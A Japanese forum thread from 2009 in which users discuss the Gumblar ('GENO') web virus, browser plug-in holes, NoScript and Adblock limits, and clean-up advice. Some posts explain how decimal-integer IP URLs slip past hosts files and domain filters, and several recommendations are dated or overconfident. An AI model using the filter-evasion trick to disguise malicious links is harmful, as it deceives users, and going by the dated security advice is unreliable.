Microsoft ビデオの ActiveX コントロール脆弱性により、リモートでコードが実行される.
URLﾘﾝｸ(www.microsoft.com)
対策方法はこちら
URLﾘﾝｸ(support.microsoft.com)
なるべくならIEを使わないほうが良いらしい
159:名無しさん＠お腹いっぱい。
09/07/07 14:08:32
>>158
またVISTAは相手にされなかったのか・・・
160:名無しさん＠お腹いっぱい。
09/07/07 14:12:56
>>158
誤読してました。ちゃんと未パッチの脆弱性
ってありましたね。お手数をおかけしました
161:名無しさん＠お腹いっぱい。
09/07/07 21:50:39
>>159
ユーザ少ないし、セキュリティ強めだから手間掛けるまでも無いってか。
それにWindowsUpdateでパッチしにくい脆弱性が発見されていると仮定して、今その穴を使ったら出荷前の普及するだろう7で対策される公算が高いわけで。
162:名無しさん＠お腹いっぱい。
09/07/08 05:41:51
今更だがfirefoxのnoscriptは信頼できないサイトと信頼できるサイトの制限設定が排他処理じゃないなのが問題だな
これだと、許可サイトは強制的に全てを許可されるからOSがXPだと少々怖い
operaの方が妥当かもしれない
信頼サイトにも個別に制限出来るようにすべき
163:名無しさん＠お腹いっぱい。
09/07/08 11:07:30
本末転倒かも知れんが、NoScriptとAdblockの併用いいよ
164:名無しさん＠お腹いっぱい。
09/07/08 13:55:25
NoScript と YesScript を併用すりゃいいんじゃね？
165:名無しさん＠お腹いっぱい。
09/07/08 14:31:17
YesScriptは、URLをブラックリスト登録して初めてJavaスクリプトが無効にできる
サイトがころころ変ってしまうような場合は無力だよね
166:名無しさん＠お腹いっぱい。
09/07/08 14:37:59
Adblockは、直接埋め込まれたjavascriptは無効にできないよね
ブロックするのが外部のjsだけなら簡単なんだけどね
167:名無しさん＠お腹いっぱい。
09/07/08 14:48:05
＞直接埋め込まれたjavascriptは無効にできない
あああああああああああああああああああああああああああああああああ
168:名無しさん＠お腹いっぱい。
09/07/08 16:35:37
じゃあどうすりゃいいのよ
誰か対策まとめてくれ
169:名無しさん＠お腹いっぱい。
09/07/08 17:05:33
【韓国】青瓦台、国会、国防部、ネイバーなど25サイトにDDoS攻撃[07/08]
ｽﾚﾘﾝｸ(news4plus板)
170:名無しさん＠お腹いっぱい。
09/07/08 17:27:59
ax.xrea.comが感染か
>>168
OSをvistaに変更
171:名無しさん＠お腹いっぱい。
09/07/08 17:33:21
>>168
LANケーブル引っこ抜く
172:名無しさん＠お腹いっぱい。
09/07/08 17:45:59
RequestPolicyは？
173:名無しさん＠お腹いっぱい。
09/07/08 17:46:58
あれ、凄い使い難い
174:名無しさん＠お腹いっぱい。
09/07/08 17:55:07
>>170
XPのパソコンをVistaにアップグレードするのも意外と危険なんだよね
うまくインストできてもXPで当たり前のようにできていたことができなくなるし
175:名無しさん＠お腹いっぱい。
09/07/08 17:56:55
ha?
176:名無しさん＠お腹いっぱい。
09/07/08 18:04:19
>>172
Operaに似たような機能が標準で付いているけれど
動画サイトで使うの大変だよ
177:名無しさん＠お腹いっぱい。
09/07/08 18:12:30
xreaは今朝アクセスしたら確かにノートン先生が大怒りだったな
activeX系だからvistaは対象外だが
178:名無しさん＠お腹いっぱい。
09/07/09 00:22:29
おいおい、Adobe関連は全て最新にしてたのに感染したっぽい
しかもブラウザどころか最早タスクマネージャすら起動しない始末
どうしろと
179:名無しさん＠お腹いっぱい。
09/07/09 00:56:45
使用OS、ブラウザ、javascriptの有無を
まぁ、別件でxreaのようなタイプ（activex経由）なら感染は有り得る
180:名無しさん＠お腹いっぱい。
09/07/09 01:35:54
>>178
ActiveXからやられたんだろ
181:名無しさん＠お腹いっぱい。
09/07/09 02:14:46
Adobeだけ最新なら別のものじゃないの
182:名無しさん＠お腹いっぱい。
09/07/09 09:08:26
>>153
183:名無しさん＠お腹いっぱい。
09/07/09 14:31:38
そもそも何に感染したかわかってないようだし
症状的にも今回のもの(新種ではなく旧来のキーロガー)と違う感じなので
別の何かではないかと
184:名無しさん＠お腹いっぱい。
09/07/09 19:48:28
タスク自体重いのならマザーボードがお逝きになる寸前かもね
185:名無しさん＠お腹いっぱい。
09/07/10 01:12:49
ディスプレイで虫みたいなのがグルグル動きまくってて何か感染したのかとおもったら
本物の虫だった
186:名無しさん＠お腹いっぱい。
09/07/10 02:28:33
これが北朝鮮の選択か…米韓への田代砲攻撃、止まる気配なし
ｽﾚﾘﾝｸ(news板)
187:名無しさん＠お腹いっぱい。
09/07/10 13:58:37
xreaのアクセス解析にアクセスしましたが、私のパソコンに感染はしていないみたいです
アクセス解析は大丈夫なんでしょうか…。
188:名無しさん＠お腹いっぱい。
09/07/10 14:22:12
【アクセス解析】AccessAnalyzer.com Part5【XREA】
ｽﾚﾘﾝｸ(hp板)
189:名無しさん＠お腹いっぱい。
09/07/11 06:02:29
>>188
ここ開いただけでavast!が反応する..ｶﾞｸｶﾞｸｸﾞﾙｸﾞﾙ
190:名無しさん＠お腹いっぱい。
09/07/11 19:28:05
もう怖いから夜のエロサイト以外見ないようにする
191:名無しさん＠お腹いっぱい。
09/07/11 21:45:15
いや、そのエロサイトが危ないんだがｗｗｗ
192:名無しさん＠お腹いっぱい。
09/07/12 00:44:36
ファイル共有ソフト「Share」が何者かに攻撃を受けフリーズしまくる 2PB
ｽﾚﾘﾝｸ(news板)
193:名無しさん＠お腹いっぱい。
09/07/12 01:46:37
情報もれてもいいシュミ用のパソコン用意すればいいんだよ
194:名無しさん＠お腹いっぱい。
09/07/13 11:25:14
廃れた
195:名無しさん＠お腹いっぱい。
09/07/13 16:28:31
【share】 sharebot丸の内OCN監視ｽﾚ 【洒落】
ｽﾚﾘﾝｸ(download板)
196:名無しさん＠お腹いっぱい。
09/07/15 22:33:32
決闘勝利おめｗｗｗ
197:名無しさん＠お腹いっぱい。
09/07/15 22:34:51
誤爆。。
198:名無しさん＠お腹いっぱい。
09/07/16 02:42:31
ｽﾚﾘﾝｸ(sec板:686番)
>javascript単体でどうこうするウィルスは確かにほとんど居ないが、脆弱性自体はあるし、あった。
>ウィルスではないが、XSSなどはjavascript経由で発症する物がほとんどであるし、切る事で安全性は確実に高まります。
実例
↓
URLﾘﾝｸ(slashdot.jp)
Firefox 3.5のJavaScriptエンジンに未対策の脆弱性が発見される。
最近のJavaScript高速化戦争の弊害だな、こりゃ。
素直に実装するだけならそれなりに枯れて安全になってきていた筈だからな。
199:名無しさん＠お腹いっぱい。
09/07/16 12:00:17
TraceMonkeyによるJSの高速化も3.5の売りだから
枯れてないのは仕方がない。
3.0(笑)ではChromeのV8に相手すらしてもらえない。
200:名無しさん＠お腹いっぱい。
09/07/16 13:55:16
結局インフルエンザと同じぐらいに収まったな
作ったﾔｼの全面負けでFA？
201:名無しさん＠お腹いっぱい。
09/07/16 19:24:00
genoウイルススレがいくつも立ったのだから作ったやつの勝ちだろ
202:名無しさん＠お腹いっぱい。
09/07/16 19:35:57
アフィは儲かったんだろうか
・・・・・あれ？
203:名無しさん＠お腹いっぱい。
09/07/16 19:49:49
買わなきゃ入らないamazonでは厳しい
情弱が来るジャンルでもあんまないし
やはりゲームアニメのがいいわ
204:名無しさん＠お腹いっぱい。
09/07/16 19:50:26
収まっていないようでして・・
パソコンは問題ないようですが
ＨＰが何度も改竄されます。
パスワードを変えても、すぐ見破られてしまいます。
どしたらいいんでしょう
205:名無しさん＠お腹いっぱい。
09/07/16 19:51:48
そんなやばすぎるHPは一旦閉鎖しろ
206:名無しさん＠お腹いっぱい。
09/07/16 19:57:38
まだあんのか、このすれｗ
207:名無しさん＠お腹いっぱい。
09/07/16 19:57:45
>>204
VALUE DOMAINってどうよ？ part35
ｽﾚﾘﾝｸ(hosting板)
【アクセス解析】AccessAnalyzer.com Part6【XREA】
ｽﾚﾘﾝｸ(hp板)
208:名無しさん＠お腹いっぱい。
09/07/16 20:16:42
何で今になって
209:名無しさん＠お腹いっぱい。
09/07/16 22:17:37
>>204
問題ないかどうかは本当に確認した？OS入れなおした？
それ以外なら>>207関連かな
210:名無しさん＠お腹いっぱい。
09/07/17 01:38:29
>>203
アニオタゲーオタって無知な奴多いのか
211:名無しさん＠お腹いっぱい。
09/07/17 02:03:33
>>204
感染したままでパス変更してるか、感染したPCで更新作業してるかだろ。
HPは全ファイル削除→PCリカバリ→ftpパス変更→HPにファイル戻し
212:名無しさん＠お腹いっぱい。
09/07/17 02:05:32
>>210
ガキがくるからな
213:名無しさん＠お腹いっぱい。
09/07/17 14:26:59
アバストが反応してJS:Redirector-H4 [Trj]を検出しましたと出た。
ブロックしてくれたから良かったけど。
214:名無しさん＠お腹いっぱい。
09/07/17 14:35:08
それは報告しなくていいです
215:名無しさん＠お腹いっぱい。
09/07/17 14:49:46
私の戦闘力は530000です
216:名無しさん＠お腹いっぱい。
09/07/17 17:39:31
私の愛馬は凶暴です
217:名無しさん＠お腹いっぱい。
09/07/18 22:34:41
>>215
とっとと本気出せよオカマ野郎
218:名無しさん＠お腹いっぱい。
09/07/19 08:56:28
アンラボ■■■【アンラボ】V3ウイルスブロック Part6■■■
ｽﾚﾘﾝｸ(sec板)
これきくんだろうか
219:名無しさん＠お腹いっぱい。
09/07/19 09:03:51
さぁ
220:名無しさん＠お腹いっぱい。
09/07/19 18:34:03
ウィルスブロック2005を更新するのわすれてて2005のままの私が通ります。
221:名無しさん＠お腹いっぱい。
09/07/24 00:03:17
【GENO】 またFlash Playerの脆弱性を突いたウイルス出現
ｽﾚﾘﾝｸ(news板)
222:名無しさん＠お腹いっぱい。
09/07/24 02:00:02
vistaの一人勝ち
まぁ、それくらいのメリットがないと救いようのない地雷OSだからね
223:名無しさん＠お腹いっぱい。
09/07/24 02:07:11
マジ糞すぎる
Adobe潰せ
224:名無しさん＠お腹いっぱい。
09/07/24 02:10:24
Silverlight, XPS の MS の時代を望んでいるんですか？
225:名無しさん＠お腹いっぱい。
09/07/24 02:40:21
djvuもたまには思い出してあげてくださいね
226:名無しさん＠お腹いっぱい。
09/07/24 03:42:14
silverlightは某動画サイト（現在、閉鎖）にも採用されていたから意外と面白いかもしれんが
開発環境が厳しいらしいな
227:名無しさん＠お腹いっぱい。
09/07/24 18:06:20
GenoウイルスNineballとは関係ないんで、スレ違いなんだが、
最近、Firefoxが謎のIPと 暗号化通信 している。
209.134.161.75
なんだが、Whoisにかけると Internet Security Systems とかいう知らないドメインらしい。
気持ち悪すぎるんだが、だれか分かる人いない？
ググルと、同名のIBMが買収した組織が存在するようだが、同名ってだけで同じとは考えにくい。
こういうことが質問できるスレでも構わないからアドバイスが欲しいっす。
228:名無しさん＠お腹いっぱい。
09/07/24 18:54:47
firefoxじゃなくセキュリティソフトの鯖の可能性があるね
229:名無しさん＠お腹いっぱい。
09/07/24 19:08:52
>>228
レスありがとう。
でも、そのセキュリティーソフト(Kaspersky)で>>227をモニターしているんだ。
それで通信しているアプリがFirefoxだと表示されちゃう。
通信先のサーバーもKasperskyのものではないみたいだし、
googleのセーフブラウジングでも、Firefoxの更新を確認するためにモジラのサイトと通信しているのでもない
みたいで気持ちわるいっす。
230:名無しさん＠お腹いっぱい。
09/07/24 19:37:20
じゃあ、アドオン、2chブラウザ、無線LAN、メーカー製PCなら常駐アプリがバックグラウンドでアドウェアのような事をやってるとか
うちもfirefox3.0.12(OSはvista）だがそういう挙動は一切ないな
231:名無しさん＠お腹いっぱい。
09/07/24 19:50:04
>>230
レスありがとう。
Firefox3.0.12で問題ないって情報だけでも助かる。
今は3.51を使っているけど、そっちの環境も残してあるので確認してみる。
一番ヤバイのはFirefoxの通信と偽ってアドウェアが通信していることだよね。
ところで、
>そういう挙動は一切ないな
はどうすれば確認できる？
232:名無しさん＠お腹いっぱい。
09/07/24 20:12:15
firefoxスレで訊いたら？
233:名無しさん＠お腹いっぱい。
09/07/24 22:24:32
>>227
>同名のIBMが買収した組織が存在するようだが、同名ってだけで同じとは考えにくい。
考えにくいというのは何で？
正引き逆引き一致でwebapp.iss.netなんだけどあやしいの？
アドオン何いれてるの？
アドオンなしでもその通信発生するの？
P2Pやエロサイト巡回で不審な動作をしたなど心当たりがあるなら
素直にOS入れなおしたほうが安心だと思うよ
234:231
09/07/24 23:55:20
>>233
わざわざ試してくれてありがとう。
自分でやったら一致しなかったんだ。 おかしいよね。
どこのwhois使っても同じ結果になるはずだけど、 良かったら どこで検索したか教えてくれない？
>素直にOS入れなおしたほうが安心だと思うよ
自分もまったくその通りだと思う。
ただ、面倒だから自分の勘違いだったり、まっとうな理由が見つかればいいなぁと思っている。
>P2Pやエロサイト巡回で不審な動作をしたなど心当たりがあるなら
一般的にヤバイとされるサイトには行っていないし、プラグインも全オフ状態。
FirefoxアドオンのNoScriptが"ざる状態"らしいと知った昨日からはJavaScriptも切っている。
ただ、>>230さんの言うように、3.0.12の時にはこんな通信していなかったはずだと自分も思っていた。
思い当たるきっかけといえば 3.50以降にアップしてから ってことになっちゃう。
もちろん、そのタイミングで何かに感染したのかもしれないけど・・・。
アドオン関連は3.0.12と3.51で同じのしか入れてないから、
3.0.12で試して その後、アドオン全オフの3.51環境を試してみます。
気まぐれに通信開始を試みている感じなので、検証には時間かかると思います。
一番良い結果は、これまでに書いたことが勘違いで、
通信先のInternet Security Systems が安全なサイト プラス 何かのアドオンがそこのデータを利用していることですね。
>>233 さんの書き込みで希望が見えてきました！
235:名無しさん＠お腹いっぱい。
09/07/25 00:06:17
>>234
URLﾘﾝｸ(www.cman.jp)
いい加減スレチだしFirefox関連スレでアドオンさらしたほうが早いと思うけどね
236:名無しさん＠お腹いっぱい。
09/07/25 00:11:29
>>235
thankyou!
237:名無しさん＠お腹いっぱい。
09/07/25 04:01:32
Noscriptがざるだって初めて聞いたけどFirefox関連でボロクソいわれてるなあ
別のアドオン探すか
238:名無しさん＠お腹いっぱい。
09/07/25 06:31:43
Noscriptってザルなの？
239:名無しさん＠お腹いっぱい。
09/07/25 10:29:28
おれfirefox関連スレのROM専だけど、向こうでNoScriptをなんやかんや言ってるやつはPC初心者板並のスキルだと思うよ
240:名無しさん＠お腹いっぱい。
09/07/25 12:00:45
opera使えよ
コピペ禁止スクリプトなんて余裕で貫通する最強ブラウザだ
241:名無しさん＠お腹いっぱい。
09/07/25 15:28:00
opensauceなんだからdiffしてくださいな
242:名無しさん＠お腹いっぱい。
09/07/25 20:07:26
>>239
スレはみてないけどほかで検証されてるから初心者云々関係ないよ
NoScript すり抜けでぐぐればすぐ出てくる
243:名無しさん＠お腹いっぱい。
09/07/25 20:17:17
noscriptは許可サイトは丸裸
非許可サイトもIFRAMEをスルーしてしまう問題がある（最新verでも同様）
完全に気休めアドオンだね
本当に信用出来るのはブラウザでもアドオンでもセキュリティソフトでもなくvistaのUAC先生だけ
firefoxが駄目ならoperaに移るか！という浅はかな考えを抱いているとXPユーザーは痛い目に合う可能性がある
244:名無しさん＠お腹いっぱい。
09/07/25 22:08:40
安全性だけなら2000でもXPでも制限ユーザーで動かせば同じじゃないか？
245:名無しさん＠お腹いっぱい。
09/07/25 22:23:32
管理者権限をのっとってｒｙ
246:名無しさん＠お腹いっぱい。
09/07/25 22:26:57
URLﾘﾝｸ(2749172507)
↑IEかchromeでアクセスすると変換してURLﾘﾝｸ(support.mozilla.com)につながる
HostsやURLドメインフィルタでブロックし難いようにしている、敵ながらあっぱれだよな
例えばttp：//2749172507/jp.jsのように jp.js などが付いているとうっかり信用して許可サイトに登録してしまう
247:名無しさん＠お腹いっぱい。
09/07/25 23:02:29
>>242
NoScriptも万能じゃないし、一つに頼り切るのも危険じゃん
「NoScript すり抜け」検索のブログで検証
一応そのブログのIFRAMEは完全にブロックできてた（下記画像Firefox3.5.1）
URLﾘﾝｸ(up2.viploader.net)
248:名無しさん＠お腹いっぱい。
09/07/25 23:46:56
＞NoScriptも万能じゃない
確かに。
249:名無しさん＠お腹いっぱい。
09/07/26 11:30:16
あくまでも補助機能としてnoscript入れてるんだろ
誰もこれさえ入れていれば大丈夫と思ってるやつはいないだろ
250:名無しさん＠お腹いっぱい。
09/07/26 11:34:58
>>247
うちもブロック出来てた。
すり抜け現象はそのブログの中の人の設定ミスかなんかじゃないのか。
251:名無しさん＠お腹いっぱい。
09/07/26 11:45:26
なんかわからんがよｓ
252:名無しさん＠お腹いっぱい。
09/07/26 12:21:21
>>246
よく分からんが、やばそうなので、
どういうことか詳しくおしえてくれ。
253:名無しさん＠お腹いっぱい。
09/07/26 13:10:39
これだとマイクロソフトだと一目でわかる↓
URLﾘﾝｸ(www.microsoft.com)
これだと解りにくい↓
URLﾘﾝｸ(3475948030:80)
上記の両方とも同じサーバーの同ページにつながる
ここで、www.microsoft.comが悪意のあるサイトと仮定する。
信頼している、ゲーム・動画サイトでFxのNoscriptがURLﾘﾝｸ(3475948030:80)をブロックしたとする
一般的にゲームや動画ができるまでセキュリティを弱め許可していくだろう
.cn/などのトップレベルドメインなら警戒するが、URL内にjpが入っていると比較的安心な国内鯖などと勘違いして許可してしまう恐れがある。
他には、フィルタリングソフトなどで.com/の全てをブロックしてもURLﾘﾝｸ(3475948030:80)はすり抜けてしまう。
※上記リンクは全て信頼のマイクロソフトのサイトです。
254:名無しさん＠お腹いっぱい。
09/07/26 13:27:09
hosts
127.0.0.1 www.microsoft.com
フィルタリングソフト
禁止 www.microsoft.com 及び .com
上記のブロックをしても埋め込まれたURLﾘﾝｸ(3475948030:80)はすり抜ける
まぁ具体的なサンプルでないので解りにくかったかも知れない
255:名無しさん＠お腹いっぱい。
09/07/26 13:36:24
ネットもリアルと同じように詐欺が存在する。
VistaUAC、FirefoxNoscriptなどで武装しても罠にかかる人はかかる。
それぞれの特性を理解して使わなくてはいけないということでしょう。
256:名無しさん＠お腹いっぱい。
09/07/26 15:28:48
>>250
キャッシュファイルは完全に消してからやった？
257:名無しさん＠お腹いっぱい。
09/07/26 17:16:07
だいたいURLが数字ばっかのところに行くか普通
258:名無しさん＠お腹いっぱい。
09/07/26 21:10:41
>>257
数字でも英数字でもひらがなでも
普通は行くよ
http://さだまさし.jp/
259:名無しさん＠お腹いっぱい。
09/07/26 21:13:22
マイクロソフト・ホーム
URLﾘﾝｸ(tinyurl.com)
260:名無しさん＠お腹いっぱい。
09/07/26 21:24:02
>>259
GoogleChromeは可、その他不可
261:名無しさん＠お腹いっぱい。
09/07/26 21:25:03
>>257-258
……(^ω^; )
262:名無しさん＠お腹いっぱい。
09/07/26 23:18:25
Adobe糞が7月中に対策してもまたすぐボロがでると予想
263:名無しさん＠お腹いっぱい。
09/07/27 06:07:39
>>258
J-Wordに犯されてるか、
アドレスバーから検索できる設定になってるＩＥと見た
多分後者だなｗ
264:名無しさん＠お腹いっぱい。
09/07/27 07:59:30
>>263
258は普通に日本語ドメインのことじゃないの？
265:名無しさん＠お腹いっぱい。
09/07/27 08:20:29
日本語ドメインだな
266:名無しさん＠お腹いっぱい。
09/07/27 08:33:02
どっちにしろ>>258は>>257の言いたかったことがわかってないような
267:名無しさん＠お腹いっぱい。
09/07/27 08:49:40
こだわるなよ
268:名無しさん＠お腹いっぱい。
09/07/27 16:56:09
>>263
IEは７から日本語ドメインに標準で対応
J-Wordもアドレスバーに文字を入れて日本語URLの検索できるが
普通J-Wordは使わないだろ
それと２ちゃんは日本語URLが貼れても機能しないんだよな
269:名無しさん＠お腹いっぱい。
09/07/27 17:04:27
うちのパソコンはNoscript すり抜けはしないけれど、
保険で他にも複数IFRAME対策等を入れているから
一つや二つの対策ソフトがバグっても安心です
270:名無しさん＠お腹いっぱい。
09/07/27 17:09:26
こだわりやな
271:名無しさん＠お腹いっぱい。
09/07/27 17:15:37
シンプルかつ効果的な対策をモットーにしてますｗ
まだまだXPも現役だからUACに頼らない対策もしてるよ
272:名無しさん＠お腹いっぱい。
09/07/27 17:21:18
どこまで再現出来るかは分からないがXPユーザーでも
UACもどきな非公式ソフトやノートンの制御設定で似たような事ができるかも
273:名無しさん＠お腹いっぱい。
09/07/27 17:36:45
2kやXPでVistaのUACモドキなことをやってたから
Vista出たときUACの使い勝手の良さに感動したけれど
巷では最低の評価だったなぁ…
274:名無しさん＠お腹いっぱい。
09/07/27 18:24:17
ブログの中の人、かわいそう
だれか、助けてあげて
275:名無しさん＠お腹いっぱい。
09/07/27 18:25:47
あんたが余計な事をやったんじゃないの
276:名無しさん＠お腹いっぱい。
09/07/27 18:41:37
リカバリー推奨
277:名無しさん＠お腹いっぱい。
09/07/27 18:50:33
俺たちのリカバリー・ナイト
おまえリカバリ
278:名無しさん＠お腹いっぱい。
09/07/28 13:58:05
GENOの歩き方
ｽﾚﾘﾝｸ(news板)
279:名無しさん＠お腹いっぱい。
09/07/30 17:08:16
どうでもいいけどセキュリティ板にFlashとadobe readerの専用スレたてろよ
どうみてもあちこち集中攻撃受けていて、今旬のこの板の花形ですがな
280:名無しさん＠お腹いっぱい。
09/07/30 17:21:15
必要だと思うなら自分でたてろよカス
281:名無しさん＠お腹いっぱい。
09/07/30 21:41:34
セキュリティ板は高スキルが求められる
厨房らには荷が重すぎたってわけよ
セキュリティソフトが扱えるだけでは芋扱いされるだけだしな
282:名無しさん＠お腹いっぱい。
09/07/31 05:39:13
ようやくflash playerが更新
283:名無しさん＠お腹いっぱい。
09/07/31 14:16:55
情報元は忘れたんだが、
watch_akibaのTwitter ↓ がよく利用している
URLﾘﾝｸ(twitter.com)
twitpic.com（174.36.0.0 - 174.37.255.255） って危ないのか分かる人いない？
数週間前にどこかのサイトを元にファイアーウォールのブロックIPにガンガン登録していったら、
この範囲をドンピシャで登録していたみたなんだが、とんでもない数の利用者が存在するはずだから、
本当にヤバイのか、自分がボケていただけなのか分からなくなった。
watch_akibaのTwitterにいって、画像リンクを踏むとtwitpic.comにつながるよ。
>>253
ペアレンタルコントロールとかで、ドメイン指定ブロックだと危ないから
リモートIPでブロックしていれば安心ってことかな？
284:名無しさん＠お腹いっぱい。
09/08/01 04:08:51
Adobe Reader更新きました
285:名無しさん＠お腹いっぱい。
09/08/08 21:58:31
286:名無しさん＠お腹いっぱい。
09/08/15 17:47:13
結局大手のアンチウイルスソフトで対策できてるところは未だにないの？
287:名無しさん＠お腹いっぱい。
09/08/15 21:05:12
そもそも被害者いないもん
架空のウイルス
288:名無しさん＠お腹いっぱい。
09/08/17 12:35:59
と思いたいgeno社員乙
289:名無しさん＠お腹いっぱい。
09/08/17 14:56:50
既出かもしれんが
ちんこアプロダっていう同人誌うｐしてるサイトがGENOウィルスに感染してることが判明した。
たまに見てた奴とかは気をつけろよ。
しばらくはアクセスしない方がいい。
290:名無しさん＠お腹いっぱい。
09/08/17 22:16:20
5月の話じゃねーか。
291:名無しさん＠お腹いっぱい。
09/08/17 23:55:26
ちんこアプロダ
危険度0%
安全なURLです。踏んでも大丈夫でしょう。
292:名無しさん＠お腹いっぱい。
09/08/19 15:27:34
ウイルスバスターのフィッシングレベルを高にすれば
GENOウイルス系をほぼ100%防げるってあったけど
ウイルスバスターって意外と凄いんだな
293:名無しさん＠お腹いっぱい。
09/08/19 20:55:03
安全なサイトもほぼ100%ブロックされますけどね
294:名無しさん＠お腹いっぱい。
09/08/20 00:01:00
URLﾘﾝｸ(www.itmedia.co.jp)
相次ぐサイト改ざん攻撃、「Genoウイルス」感染PCが関与か
原因を調べたところ、この顧客がホスティングサーバへのファイルアップロードに
使っていたPCが、「Gumblar」（別名JS-Redir、 Genoウイルス）タイプのマルウェアに
感染していたことが分かったという。ただし5月に出回ったGumblarとは異なる点もあり、
コードに手を加えた亜種の可能性もあるとしている。
295:名無しさん＠お腹いっぱい。
09/08/20 00:10:35
バスターって確かGENO発生当初にこのウイルス対策をユーザーから問われて
「履歴を消してください」
と答えた素敵な会社だっけ。
296:名無しさん＠お腹いっぱい。
09/08/20 00:14:17
>>GENOウイルス（通称）に御社は対応済でしょうか？
＿＿＿ ∧∧
/ ||￣￣|| .／台 ＼ ・・・・
| ||脅威|| （ハ´；； ）
|￣￣＼三⊂/￣￣￣/
| | ( ./ /
ｶﾀｶﾀ ｶﾀｶﾀ
＿＿＿ ∧∧
/ ||￣￣|| ／台. ＼ ？！ GENOウイルスって何アルカ？？
| ||安心|| （｀ハ´* ）
|￣￣＼三⊂/￣￣￣/
| | ( ./ /
297:名無しさん＠お腹いっぱい。
09/08/21 18:26:11
バスターさんはWinnyグループの一員だからなぁ
298:名無しさん＠お腹いっぱい。
09/09/03 23:40:06
ほす
299:名無しさん＠お腹いっぱい。
09/09/05 08:00:10
■新型の「Webウイルス」が感染拡大
URLﾘﾝｸ(pc.nikkeibp.co.jp)
セキュリティ会社や組織は5月中旬、「Gumblar（ガンブラー）」などと呼ばれる新たなWebウイルス（Webページに埋め込まれるタイプのウイルス）が
世界中で感染を広げているとして注意を呼びかけた。
脆弱（ぜいじゃく）性のあるパソコンでは、Webウイルスが埋め込まれたページにアクセスするだけで被害に遭う恐れがある。実際、国内でも多くの被害が報告されている。
■09月04日のWeb改竄情報
URLﾘﾝｸ(www.netsecurity.ne.jp)
■09月03日のWeb改竄情報
URLﾘﾝｸ(www.netsecurity.ne.jp)
300:名無しさん＠お腹いっぱい。
09/09/05 11:20:10
あのーすみません、
当初お菓子やさんだかなんだか休日に
電凸するかとか言ってる時居たんだけど
まさかまだ放置なの？
そろそろ許してやるかってGENO見ようとしたんだけど…
301:名無しさん＠お腹いっぱい。
09/09/11 05:25:39
あれ、GENOウイルスチェッカーとか言うサイト繋がらないけど閉鎖したのか？
302:名無しさん＠お腹いっぱい。
09/09/11 05:48:34
さすが糞さいと
303:名無しさん＠お腹いっぱい。
09/09/13 23:39:45
再起動画面のまま、何度再起動させても電源切っても全然起動出来ないです。GENOでしょうか…
対策何もしてなかったので。
どうしたらいいのかわからないです
もうパソコンは二度と起動しないのでしようか。
304:名無しさん＠お腹いっぱい。
09/09/13 23:45:30
セーフモードでやってみ？
だめならCDブートだ。（OS再インストール）
305:名無しさん＠お腹いっぱい。
09/09/13 23:55:53
>>304 セーフモードだめです
OS再インストール…はやってないです。いつも使ってないスクリーンセーバーをダウンロード&設定した後だったのでそのせいだ 休ませれば直ると信じたかったのですが…。orz
早いレスありがとうございました。
306:名無しさん＠お腹いっぱい。
09/09/14 03:27:04
ＣＭＤがいつのまにか起動
パソコン重い
しかしファイルサイズは正常
別のウィルスだなこれは……
307:名無しさん＠お腹いっぱい。
09/09/17 14:06:43
avastで駆除できたっぽい。
sqlsodbc.chmが消えたし。win2000
308:名無しさん＠お腹いっぱい。
09/09/20 01:27:53
やっぱavast凄いな
309:名無しさん＠お腹いっぱい。
09/09/20 05:03:51
208.87.
310:名無しさん＠お腹いっぱい。
09/09/20 14:23:39
win2000でavastで削除してsqlsodbc.chmを消去して
その後また復元してなければ大丈夫？
311:名無しさん＠お腹いっぱい。
09/09/20 16:46:18
GENO感染したのですが、
個人情報流出は具体的にどの程度なんでしょうか？
保存してるファイルも流出してしまいますか？
PC素人です。
どなたか教えてください。
312:名無しさん＠お腹いっぱい。
09/09/22 13:00:12
梨花ブログが感染してて、連休中で対処できてないからエライことになってる。
313:名無しさん＠お腹いっぱい。
09/09/22 13:40:57
行ってないからわからんけど貼られてる広告にやられてるのかな
りんかもとんだとばっちりだな
314:名無しさん＠お腹いっぱい。
09/09/22 16:36:57
>>313
ちょうど連休前の金曜の夜からおかしくなって、スタッフも休んでるのか未対応。
メッセージもスタッフ通してから梨花に送られてるみたいで、本人も知らずに更新しまくり。
梨花スレは大混乱。
315:名無しさん＠お腹いっぱい。
09/09/22 16:45:44
確かGENOも休み中にやられたんだったよな
ブログ見てPCリカバリとかマジ最悪だね
PC詳しくない奴はどうするのか
自分の手に負えない奴もいっぱいいそうだ
316:名無しさん＠お腹いっぱい。
09/09/22 17:12:23
>>315
梨花ブログ見る層はパソコン詳しい人あんまりいなさそうだからね。
私もその１人で、不安になってこのスレ来てみました。
ファイル名を指定して確認？したら一応大丈夫そうだったけど、亜種もあるみたいだから油断できませんよねー
ほんとうろたえてますｗ
317:名無しさん＠お腹いっぱい。
09/09/22 17:17:57
FlashPlayerは最新に
PDFReaderも最新に
JavaScriptは基本的に切っておく
これでだいたいは防げるはず
初心者はIEを使うよりもFireFox＋NoScript使用のほうが安全
318:名無しさん＠お腹いっぱい。
09/09/22 19:51:19
コマンドプロンプトが立ち上がればよかった筈だが
319:名無しさん＠お腹いっぱい。
09/09/22 20:58:13
vistaにしてUACを使う
が一番いい
320:名無しさん＠お腹いっぱい。
09/09/23 00:45:48
vista＋UAC＋砂箱
これで核級のウイルスがきても全部シャットアウト
321:名無しさん＠お腹いっぱい。
09/09/23 04:35:30
win2000でavastで削除してsqlsodbc.chmを消去して
その後また復元してなければ大丈夫？
322:名無しさん＠お腹いっぱい。
09/09/23 05:03:28
>>320
全部はシャットアウトできない
砂箱にもUACにもどうせ穴がある
323:名無しさん＠お腹いっぱい。
09/09/23 21:25:32
アーモー大騒ぎ
324:名無しさん＠お腹いっぱい。
09/09/24 12:53:16
ウィルスバスターでGENOウィルスが隔離されていました。
まとめサイトにある確認法で調べたら、
cmdの値？が正常ではなく、低いままでした。
まだ感染しているということでしょうか？
325:名無しさん＠お腹いっぱい。
09/09/25 00:07:07
一度感染したという事は既にシステムがぼっこボコにされている可能性が高いから
クリーンインストールした方がいいと思うんだ。
326:名無しさん＠お腹いっぱい。
09/09/25 15:25:28
>>325
システム？もやられるのか？
俺もavastで知らぬうちに削除してて（たぶん）その後、変な挙動はないのだが
327:名無しさん＠お腹いっぱい。
09/09/25 16:12:13
>>326
カスペとかノートンのオンラインスキャンして見て検出なければいいじゃね？
オレは精神衛生上の問題でクリーンインストールするけどね
328:名無しさん＠お腹いっぱい。
09/09/25 16:13:43
ｋスペでやったけど問題なかったよ
329:名無しさん＠お腹いっぱい。
09/09/29 05:04:20
genoじゃないがサイト巡回してたらノートンのIDセーフ（かなりいい加減）が真っ赤になったから
ソース確認したら本当に埋め込まれててふいたｗ
